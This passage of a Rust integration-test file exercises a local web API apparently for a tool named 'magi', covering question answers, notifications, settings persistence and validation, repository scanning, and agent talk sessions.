10356 let fx = Fixture::start().await;
10357 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10358 let path = format!("/api/questions/{id}/answer");
10359
10360 for body in [
10361 r#"{"choice":"Postgres"}"#,
10362 r#"{"text":"whatever you think"}"#,
10363 r#"{"choice":"Redis","text":"both"}"#,
10364 r#"{}"#,
10365 ] {
10366 let res = fx.post(&path, Some(body)).await;
10367 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10368 assert!(res.json()["error"].is_string(), "{}", res.body);
10369 }
10370 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10372 }
10373
10374 #[tokio::test]
10375 async fn a_free_text_question_takes_text_and_not_a_choice() {
10376 let fx = Fixture::start().await;
10377 let id = ask(&fx, "What should the flag be called?", &[]);
10378 let path = format!("/api/questions/{id}/answer");
10379
10380 assert_eq!(
10381 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10382 400
10383 );
10384 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10385 assert_eq!(res.status, 200, "{}", res.body);
10386 assert_eq!(res.json()["answer"]["text"], "--json");
10387 }
10388
10389 #[tokio::test]
10390 async fn an_unknown_question_is_a_json_404() {
10391 let fx = Fixture::start().await;
10392 let res = fx
10393 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10394 .await;
10395 assert_eq!(res.status, 404, "{}", res.body);
10396 assert!(res.json()["error"].is_string());
10397 }
10398
10399 #[tokio::test]
10400 async fn notifications_list_read_dismiss_and_health_agree() {
10401 let fx = Fixture::start().await;
10402 let store = Notices::at(fx.home.path().join("notifications"));
10403 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10404 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10405
10406 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10407 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10408
10409 store
10410 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10411 .unwrap();
10412 let health = fx.get("/api/health").await.json();
10413 assert_eq!(health["notifications_unread"], 2);
10414 assert_ne!(
10415 health["notifications_rev"], rev0,
10416 "the badge must move live"
10417 );
10418
10419 let listed = fx.get("/api/notifications").await.json();
10420 assert_eq!(listed["unread"], 2);
10421 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10422 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10423
10424 let read = fx
10425 .post(&format!("/api/notifications/{}/read", a.id), None)
10426 .await;
10427 assert_eq!(read.status, 200, "{}", read.body);
10428 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10429
10430 let gone = fx
10431 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10432 .await;
10433 assert_eq!(gone.status, 200, "{}", gone.body);
10434 let listed = fx.get("/api/notifications").await.json();
10435 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10436 assert_eq!(listed["unread"], 0);
10437
10438 store.raise(Notice::info("x", "again")).unwrap();
10439 let all = fx.post("/api/notifications/read-all", None).await;
10440 assert_eq!(all.status, 200, "{}", all.body);
10441 assert_eq!(all.json()["marked"], 1);
10442 assert_eq!(
10443 fx.get("/api/health").await.json()["notifications_unread"],
10444 0
10445 );
10446
10447 let missing = fx.post("/api/notifications/nope/read", None).await;
10448 assert_eq!(missing.status, 404, "{}", missing.body);
10449 assert!(missing.json()["error"].is_string());
10450 }
10451
10452 #[tokio::test]
10459 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10460 let f = Fixture::start().await;
10461
10462 let res = f
10463 .post(
10464 "/api/queue",
10465 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10466 )
10467 .await;
10468
10469 assert_eq!(
10470 res.status, 405,
10471 "POST /api/queue must not be a route: {}",
10472 res.body
10473 );
10474 assert!(
10475 f.queue().list().is_empty(),
10476 "a task filed by a route that does not exist must not reach the disk"
10477 );
10478 assert_eq!(f.get("/api/queue").await.status, 200);
10481 }
10482
10483 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10485 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10486 .expect("checkout dir");
10487 }
10488
10489 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10491
10492 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10493 let tmp = TempDir::new().expect("tempdir");
10494 let repo = tmp.path().join("repo");
10495 std::fs::create_dir_all(&repo).expect("repo dir");
10496 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10497 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10498 if let Some(text) = machine_toml {
10499 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10500 std::fs::write(&machine, text).expect("machine toml");
10501 }
10502 (tmp, repo, machine)
10503 }
10504
10505 async fn settings_checkout(path: &FsPath, text: &str) {
10506 std::fs::create_dir_all(path).unwrap();
10507 std::fs::write(path.join("magi.toml"), text).unwrap();
10508 for args in [
10509 vec!["init", "-b", "main"],
10510 vec!["add", "magi.toml"],
10511 vec![
10512 "-c",
10513 "user.name=Test",
10514 "-c",
10515 "user.email=test@example.invalid",
10516 "commit",
10517 "-m",
10518 "fixture",
10519 ],
10520 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10521 vec![
10522 "symbolic-ref",
10523 "refs/remotes/origin/HEAD",
10524 "refs/remotes/origin/main",
10525 ],
10526 ] {
10527 crate::git::git(path, &args).await.unwrap();
10528 }
10529 }
10530
10531 #[tokio::test]
10532 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10533 let (tmp, repo, machine) =
10534 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10535 let root = tmp.path().join("roots");
10536 let selected = root.join("host/owner/selected");
10537 settings_checkout(
10538 &selected,
10539 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10540 )
10541 .await;
10542 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10543 let before = std::fs::read(&machine).unwrap();
10544 let ui = Arc::new(
10545 Ui::new(
10546 Queue::at(tmp.path().join("queue")),
10547 Questions::at(tmp.path().join("questions")),
10548 Talks::at(tmp.path().join("talks")),
10549 tmp.path().join("runs"),
10550 tmp.path().to_path_buf(),
10551 repo.clone(),
10552 )
10553 .with_machine_config(Some(machine.clone())),
10554 );
10555 let query = || {
10556 Query(SettingsQuery {
10557 repo: Some(selected.clone()),
10558 })
10559 };
10560 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10561 assert!(v.error.is_none(), "{:?}", v.error);
10562 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10563 assert_eq!(conductor.source, "repo");
10564 assert_eq!(
10565 conductor.machine_value,
10566 Some(toml::Value::String("a".into()))
10567 );
10568 assert!(!conductor.editable);
10569 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10570 assert_eq!(
10571 judges.count.as_ref().unwrap().machine_value,
10572 Some(toml::Value::Integer(1))
10573 );
10574 assert!(
10575 !v.roles
10576 .iter()
10577 .find(|r| r.key == "reviewers")
10578 .unwrap()
10579 .editable
10580 );
10581 let unknown = || {
10582 Query(SettingsQuery {
10583 repo: Some(tmp.path().to_path_buf()),
10584 })
10585 };
10586 assert_eq!(
10587 settings_get(State(ui.clone()), unknown())
10588 .await
10589 .unwrap_err()
10590 .status,
10591 StatusCode::UNPROCESSABLE_ENTITY
10592 );
10593 let body = || {
10594 Ok(Json(RolesBody {
10595 revision: v.revision.clone(),
10596 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10597 counts: Default::default(),
10598 }))
10599 };
10600 assert_eq!(
10601 settings_put_roles(State(ui.clone()), unknown(), body())
10602 .await
10603 .unwrap_err()
10604 .status,
10605 StatusCode::UNPROCESSABLE_ENTITY
10606 );
10607 assert_eq!(std::fs::read(&machine).unwrap(), before);
10608 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10609 .await
10610 .unwrap();
10611 assert_eq!(
10612 saved.repo,
10613 selected.canonicalize().unwrap().display().to_string()
10614 );
10615 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10616 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10617 let fresh = root.join("host/owner/fresh");
10619 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10620 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10621 .await
10622 .unwrap();
10623 assert_eq!(fresh_view.repositories.len(), 3);
10624 }
10625
10626 #[tokio::test]
10627 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10628 let (tmp, repo, machine) = settings_dirs(
10629 "[roles]\nreviewers = [\"a\"]\n",
10630 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10631 );
10632 let root = tmp.path().join("roots");
10633 let selected = root.join("host/owner/selected");
10634 settings_checkout(
10635 &selected,
10636 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10637 )
10638 .await;
10639 let broken = root.join("host/owner/broken");
10640 settings_checkout(&broken, "[roles\nbroken").await;
10641 let machine_text = format!(
10642 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10643 toml::Value::String(root.display().to_string())
10644 );
10645 std::fs::write(&machine, &machine_text).unwrap();
10646 let originals: Vec<_> = [&repo, &selected, &broken]
10647 .iter()
10648 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10649 .collect();
10650 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10651 let default = f.get("/api/settings").await.json();
10652 assert_eq!(
10653 default["repo"],
10654 repo.canonicalize().unwrap().display().to_string()
10655 );
10656 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10657 let query = format!("?repo={}", selected.display());
10658 let res = f.get(&format!("/api/settings{query}")).await;
10659 assert_eq!(res.status, 200, "{}", res.body);
10660 let v = res.json();
10661 assert!(v["error"].is_null(), "{v}");
10662 assert_eq!(v["repositories"], default["repositories"]);
10663 let role = |key: &str| {
10664 v["roles"]
10665 .as_array()
10666 .unwrap()
10667 .iter()
10668 .find(|r| r["key"] == key)
10669 .unwrap()
10670 };
10671 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10672 assert_eq!(role("advisors")["source"], "repo");
10673 assert_eq!(role("advisors")["editable"], false);
10674 assert!(role("advisors")["machine_value"].is_null());
10675 assert_eq!(role("judges")["count"]["value"], 2);
10676 assert_eq!(role("judges")["count"]["machine_value"], 1);
10677 assert_eq!(role("judges")["count"]["source"], "repo");
10678 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10679 assert!(
10680 source.contains("origin/main") && !source.contains("magi/config/"),
10681 "{source}"
10682 );
10683 assert_eq!(
10684 role("reviewers")["editable"],
10685 false,
10686 "default context outside roots must protect its declarations"
10687 );
10688 let body =
10689 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10690 let unknown = format!("?repo={}", tmp.path().display());
10691 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10692 assert_eq!(
10693 f.put(&format!("/api/settings/roles{unknown}"), &body)
10694 .await
10695 .status,
10696 422
10697 );
10698 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10699 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10700 .to_string();
10701 assert_eq!(
10702 f.put(&format!("/api/settings/roles{query}"), &refuse)
10703 .await
10704 .status,
10705 422
10706 );
10707 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10708 assert_eq!(saved.status, 200, "{}", saved.body);
10709 assert_eq!(saved.json()["repo"], v["repo"]);
10710 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10711 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10712 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10713 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10714 }
10715 let error = f
10716 .get(&format!("/api/settings?repo={}", broken.display()))
10717 .await;
10718 assert_eq!(error.status, 200);
10719 assert!(error.json()["error"]["message"].is_string());
10720 assert_eq!(error.json()["repositories"], default["repositories"]);
10721 }
10722
10723 #[tokio::test]
10724 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10725 let (_tmp, repo, machine) =
10726 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10727 let f = Fixture::with_repo_and_machine(repo, machine).await;
10728 let res = f.get("/api/settings").await;
10729 assert_eq!(res.status, 200, "{}", res.body);
10730 let v = res.json();
10731 assert!(v["error"].is_null(), "{v}");
10732 let role = |k: &str| {
10733 v["roles"]
10734 .as_array()
10735 .and_then(|r| r.iter().find(|x| x["key"] == k))
10736 .cloned()
10737 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10738 };
10739 assert_eq!(role("judges")["source"], "machine");
10740 assert_eq!(role("judges")["editable"], true);
10741 assert_eq!(role("implementers")["source"], "default");
10742 let adv = role("advisors");
10743 assert_eq!(adv["fallback"], "judges");
10744 assert!(
10745 adv["seats"]
10746 .as_array()
10747 .is_some_and(|s| s.iter().all(|x| x == "b")),
10748 "{adv}"
10749 );
10750 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10751 assert_eq!(v["agents"][0]["source"], "repo");
10752 }
10753
10754 #[tokio::test]
10755 async fn settings_get_reports_a_config_that_does_not_parse() {
10756 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10757 let f = Fixture::with_repo_and_machine(repo, machine).await;
10758 let res = f.get("/api/settings").await;
10759 assert_eq!(res.status, 200, "{}", res.body);
10760 let v = res.json();
10761 assert!(v["error"]["message"].is_string(), "{v}");
10762 assert!(
10763 v["error"]["path"]
10764 .as_str()
10765 .is_some_and(|p| p.ends_with("magi.toml")),
10766 "{v}"
10767 );
10768 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10769 }
10770
10771 #[tokio::test]
10772 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10773 let (_tmp, repo, machine) = settings_dirs(
10774 SETTINGS_AGENTS,
10775 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10776 );
10777 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10778 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10779 let rev = f.get("/api/settings").await.json()["revision"]
10780 .as_str()
10781 .expect("revision")
10782 .to_owned();
10783 let body = serde_json::json!({
10784 "revision": rev,
10785 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10786 })
10787 .to_string();
10788 let res = f.put("/api/settings/roles", &body).await;
10789 assert_eq!(res.status, 200, "{}", res.body);
10790 let text = std::fs::read_to_string(&machine).expect("machine");
10791 assert_eq!(
10792 text,
10793 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10794 );
10795 assert_eq!(
10796 std::fs::read(repo.join("magi.toml")).expect("read"),
10797 repo_before
10798 );
10799 let again = f.get("/api/settings").await.json();
10800 let judges = again["roles"]
10801 .as_array()
10802 .expect("roles")
10803 .iter()
10804 .find(|r| r["key"] == "judges")
10805 .expect("judges")
10806 .clone();
10807 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10808 let stale = f.put("/api/settings/roles", &body).await;
10810 assert_eq!(stale.status, 409, "{}", stale.body);
10811 }
10812
10813 #[tokio::test]
10814 async fn settings_counts_are_reported_and_saved() {
10815 let (_tmp, repo, machine) = settings_dirs(
10816 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10817 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10818 );
10819 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10820 let v = f.get("/api/settings").await.json();
10821 let count = |v: &serde_json::Value, k: &str| {
10822 v["roles"]
10823 .as_array()
10824 .and_then(|r| r.iter().find(|x| x["key"] == k))
10825 .map(|x| x["count"].clone())
10826 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10827 };
10828 let imp = count(&v, "implementers");
10829 assert_eq!(imp["value"], 2);
10830 assert_eq!(imp["source"], "machine");
10831 assert_eq!(imp["file_key"], "candidates");
10832 assert_eq!(imp["roster_len"], 2);
10833 assert_eq!(imp["backups"], 0);
10834 assert_eq!(count(&v, "judges")["source"], "default");
10835 assert_eq!(count(&v, "advisors")["min"], 0);
10836 assert_eq!(count(&v, "reviewers")["editable"], false);
10837 assert!(
10838 count(&v, "reviewers")["locked_reason"]
10839 .as_str()
10840 .is_some_and(|m| m.contains("graph.reviewers"))
10841 );
10842 assert!(count(&v, "fixer").is_null());
10843 let rev = v["revision"].as_str().expect("revision").to_owned();
10844 let body = serde_json::json!({
10845 "revision": rev,
10846 "roles": { "judges": ["b"] },
10847 "counts": { "implementers": 1, "advisors": 0 }
10848 })
10849 .to_string();
10850 let res = f.put("/api/settings/roles", &body).await;
10851 assert_eq!(res.status, 200, "{}", res.body);
10852 let text = std::fs::read_to_string(&machine).expect("machine");
10853 assert_eq!(
10854 text,
10855 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10856 );
10857 let after = f.get("/api/settings").await.json();
10858 assert_eq!(count(&after, "implementers")["value"], 1);
10859 assert_eq!(count(&after, "implementers")["backups"], 1);
10860 assert_eq!(count(&after, "advisors")["value"], 0);
10861 let before = std::fs::read_to_string(&machine).expect("machine");
10862 let rev = after["revision"].as_str().expect("revision").to_owned();
10863 for counts in [
10864 serde_json::json!({ "judges": 0 }),
10865 serde_json::json!({ "judges": "x" }),
10866 serde_json::json!({ "judges": 2.5 }),
10867 serde_json::json!({ "judges": -1 }),
10868 serde_json::json!({ "reviewers": 3 }),
10869 serde_json::json!({ "bogus": 3 }),
10870 ] {
10871 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10872 let res = f.put("/api/settings/roles", &body).await;
10873 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10874 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10875 }
10876 }
10877
10878 #[tokio::test]
10879 async fn settings_put_refuses_without_touching_the_file() {
10880 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10881 let (_tmp, repo, machine) = settings_dirs(
10882 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10883 Some(machine_text),
10884 );
10885 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10886 let rev = f.get("/api/settings").await.json()["revision"]
10887 .as_str()
10888 .expect("revision")
10889 .to_owned();
10890 for roles in [
10891 serde_json::json!({ "judges": ["nope"] }),
10892 serde_json::json!({ "reviewers": ["b"] }),
10893 serde_json::json!({ "bogus": ["a"] }),
10894 ] {
10895 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10896 let res = f.put("/api/settings/roles", &body).await;
10897 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10898 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10899 assert_eq!(
10900 std::fs::read_to_string(&machine).expect("machine"),
10901 machine_text
10902 );
10903 }
10904 }
10905
10906 #[tokio::test]
10907 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10908 let tmp = TempDir::new().expect("tempdir");
10909 let repo = tmp.path().join("repo");
10910 std::fs::create_dir_all(&repo).expect("repo dir");
10911 let root = tmp.path().join("root");
10912 make_checkout(&root, "github.com", "yukimemi", "magi");
10913 std::fs::write(
10914 repo.join("magi.toml"),
10915 format!(
10916 "[repos]\nroots = [{:?}]\n",
10917 root.to_string_lossy().into_owned()
10918 ),
10919 )
10920 .expect("write magi.toml");
10921
10922 let f = Fixture::with_repo(repo).await;
10923 let res = f.get("/api/repos").await;
10924 assert_eq!(res.status, 200, "{}", res.body);
10925 let list = res.json();
10926 let repos = list.as_array().expect("an array");
10927 assert_eq!(repos.len(), 1);
10928 assert_eq!(repos[0]["name"], "yukimemi/magi");
10929 assert!(
10930 repos[0]["path"]
10931 .as_str()
10932 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10933 "{list}"
10934 );
10935 }
10936
10937 #[tokio::test]
10938 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10939 let tmp = TempDir::new().expect("tempdir");
10940 let repo = tmp.path().join("repo");
10941 std::fs::create_dir_all(&repo).expect("repo dir");
10942 let root = tmp.path().join("root");
10943 make_checkout(&root, "github.com", "yukimemi", "magi");
10944 std::fs::write(
10945 repo.join("magi.toml"),
10946 format!(
10947 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10948 root.to_string_lossy().into_owned()
10949 ),
10950 )
10951 .expect("write magi.toml");
10952
10953 let f = Fixture::with_repo(repo).await;
10954 let first = f.get("/api/repos").await;
10955 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10956
10957 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10960 let second = f.get("/api/repos").await;
10961 assert_eq!(
10962 second.json().as_array().map(Vec::len),
10963 Some(1),
10964 "a fresh cache must not rescan inside the TTL"
10965 );
10966
10967 let refreshed = f.get("/api/repos?refresh=1").await;
10968 assert_eq!(
10969 refreshed.json().as_array().map(Vec::len),
10970 Some(2),
10971 "an explicit refresh must rescan even inside the TTL"
10972 );
10973 }
10974
10975 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10981
10982 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10986 let tmp = TempDir::new().expect("tempdir");
10987 let repo = tmp.path().join("repo");
10988 std::fs::create_dir_all(&repo).expect("repo dir");
10989 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10990 let f = Fixture::with_repo(repo.clone()).await;
10991 (tmp, repo, f)
10992 }
10993
10994 #[tokio::test]
10995 async fn posting_a_talk_with_remembered_choices_is_soft() {
10996 let (_tmp, _repo, f) = talk_fixture().await;
10997
10998 let good = f
10999 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11000 .await;
11001 assert_eq!(good.status, 201, "{}", good.body);
11002 assert_eq!(good.json()["persona"], "rei");
11003
11004 let stale = f
11006 .post(
11007 "/api/talks",
11008 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11009 )
11010 .await;
11011 assert_eq!(stale.status, 201, "{}", stale.body);
11012 let v = stale.json();
11013 assert_eq!(v["implementers"], 1);
11014 assert_ne!(v["persona"], "nobody");
11015 let typed = f
11016 .post(
11017 "/api/talks",
11018 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11019 )
11020 .await;
11021 assert_eq!(typed.status, 201, "{}", typed.body);
11022
11023 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11025 assert!(
11026 !strict.status.to_string().starts_with('2'),
11027 "{}",
11028 strict.body
11029 );
11030 }
11031
11032 #[tokio::test]
11033 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11034 let (_tmp, _repo, f) = talk_fixture().await;
11035
11036 let opened = f.post("/api/talks", None).await;
11039 assert_eq!(opened.status, 201, "{}", opened.body);
11040 let body = opened.json();
11041 assert_eq!(body["status"], "open");
11042 assert_eq!(
11043 body["turns"].as_array().unwrap().len(),
11044 0,
11045 "opening takes no agent turn: there is nothing yet to answer"
11046 );
11047
11048 let also_opened = f.post("/api/talks", Some("{}")).await;
11050 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11051
11052 let listed = f.get("/api/talks").await.json();
11053 assert_eq!(listed.as_array().unwrap().len(), 2);
11054 }
11055
11056 #[tokio::test]
11057 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11058 let tmp = TempDir::new().expect("tempdir");
11059 let repo = tmp.path().join("repo");
11060 std::fs::create_dir_all(&repo).expect("repo dir");
11061 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11062 std::fs::write(
11063 repo.join("magi.toml"),
11064 format!("{MOCK_AGENT_TOML}\n{second}"),
11065 )
11066 .expect("write magi.toml");
11067 let home = TempDir::new().expect("temp home");
11068 let talks = Talks::at(home.path().join("talks"));
11069 let ui = Arc::new(
11070 Ui::new(
11071 Queue::at(home.path().join("queue")),
11072 Questions::at(home.path().join("questions")),
11073 talks.clone(),
11074 home.path().join("runs"),
11075 home.path().to_path_buf(),
11076 repo.clone(),
11077 )
11078 .with_worktrees_root(home.path().join("wt")),
11079 );
11080 let cfg = config_for(&repo).await.expect("discover config");
11081 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11082 let id = talk.id.clone();
11083 let call = |agent: &str| {
11084 talk_agent(
11085 State(Arc::clone(&ui)),
11086 Path(id.clone()),
11087 Json(TalkAgent {
11088 agent: agent.to_owned(),
11089 }),
11090 )
11091 };
11092
11093 let unknown = call("nobody").await.expect_err("unknown agent");
11094 assert_eq!(
11095 unknown.status,
11096 StatusCode::BAD_REQUEST,
11097 "{}",
11098 unknown.message
11099 );
11100
11101 {
11102 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11105 let busy = call("second").await.expect_err("busy talk");
11106 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11107 assert!(
11108 busy.message.contains("a talk turn is running"),
11109 "{}",
11110 busy.message
11111 );
11112 drop(guard);
11113 }
11114 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11115
11116 let Json(view) = call("second").await.expect("switch");
11117 assert_eq!(view.talk.agent, "second");
11118 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11119 let saved = talks.get(&id).expect("reload");
11120 assert_eq!(saved.agent, "second");
11121 assert_eq!(saved.turns.len(), 1);
11122 assert!(!view.thinking);
11123 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11124 for agent in ["mock", "second"] {
11125 let Json(view) = call(agent).await.expect("immediate consecutive change");
11126 assert_eq!(view.talk.agent, agent);
11127 assert!(!view.thinking);
11128 assert!(!ui.is_thinking(&id));
11129 }
11130
11131 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11132 .await
11133 .expect("detail");
11134 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11135 assert_eq!(roster, ["mock", "second"]);
11136
11137 let mut closed = talks.get(&id).expect("reload");
11138 talk::close(&mut closed, &talks).expect("close");
11139 let refused = call("mock").await.expect_err("closed talk");
11140 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11141 assert!(
11142 refused.message.contains("takes no more turns"),
11143 "{}",
11144 refused.message
11145 );
11146 }
11147
11148 #[tokio::test]
11149 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11150 let tmp = TempDir::new().expect("tempdir");
11151 let repo = tmp.path().join("repo");
11152 std::fs::create_dir_all(&repo).expect("repo dir");
11153 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11154 let home = TempDir::new().expect("temp home");
11155 let talks = Talks::at(home.path().join("talks"));
11156 let ui = Arc::new(
11157 Ui::new(
11158 Queue::at(home.path().join("queue")),
11159 Questions::at(home.path().join("questions")),
11160 talks.clone(),
11161 home.path().join("runs"),
11162 home.path().to_path_buf(),
11163 repo.clone(),
11164 )
11165 .with_worktrees_root(home.path().join("wt")),
11166 );
11167 let cfg = config_for(&repo).await.expect("discover config");
11168 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11169 let id = talk.id.clone();
11170 let call = |n: u8| {
11171 talk_implementers(
11172 State(Arc::clone(&ui)),
11173 Path(id.clone()),
11174 Json(TalkImplementers { implementers: n }),
11175 )
11176 };
11177
11178 for bad in [0u8, 4] {
11179 let e = call(bad).await.expect_err("out of range");
11180 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11181 }
11182 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11183
11184 {
11185 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11188 let busy = call(2).await.expect_err("busy talk");
11189 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11190 assert!(
11191 busy.message.contains("a talk turn is running"),
11192 "{}",
11193 busy.message
11194 );
11195 drop(guard);
11196 }
11197
11198 let Json(view) = call(3).await.expect("switch");
11199 assert_eq!(view.talk.implementers, 3);
11200 assert!(talks.get(&id).expect("reload").implementers_dirty);
11201 assert!(!view.thinking);
11202 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11203 for n in [1, 2, 3] {
11204 let Json(view) = call(n).await.expect("immediate consecutive change");
11205 assert_eq!(view.talk.implementers, n);
11206 assert!(!view.thinking);
11207 assert!(!ui.is_thinking(&id));
11208 }
11209
11210 let mut closed = talks.get(&id).expect("reload");
11211 talk::close(&mut closed, &talks).expect("close");
11212 let e = call(2).await.expect_err("closed talk");
11213 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11214 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11215 }
11216
11217 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11219 let tmp = TempDir::new().expect("tempdir");
11220 let repo = tmp.path().join("repo");
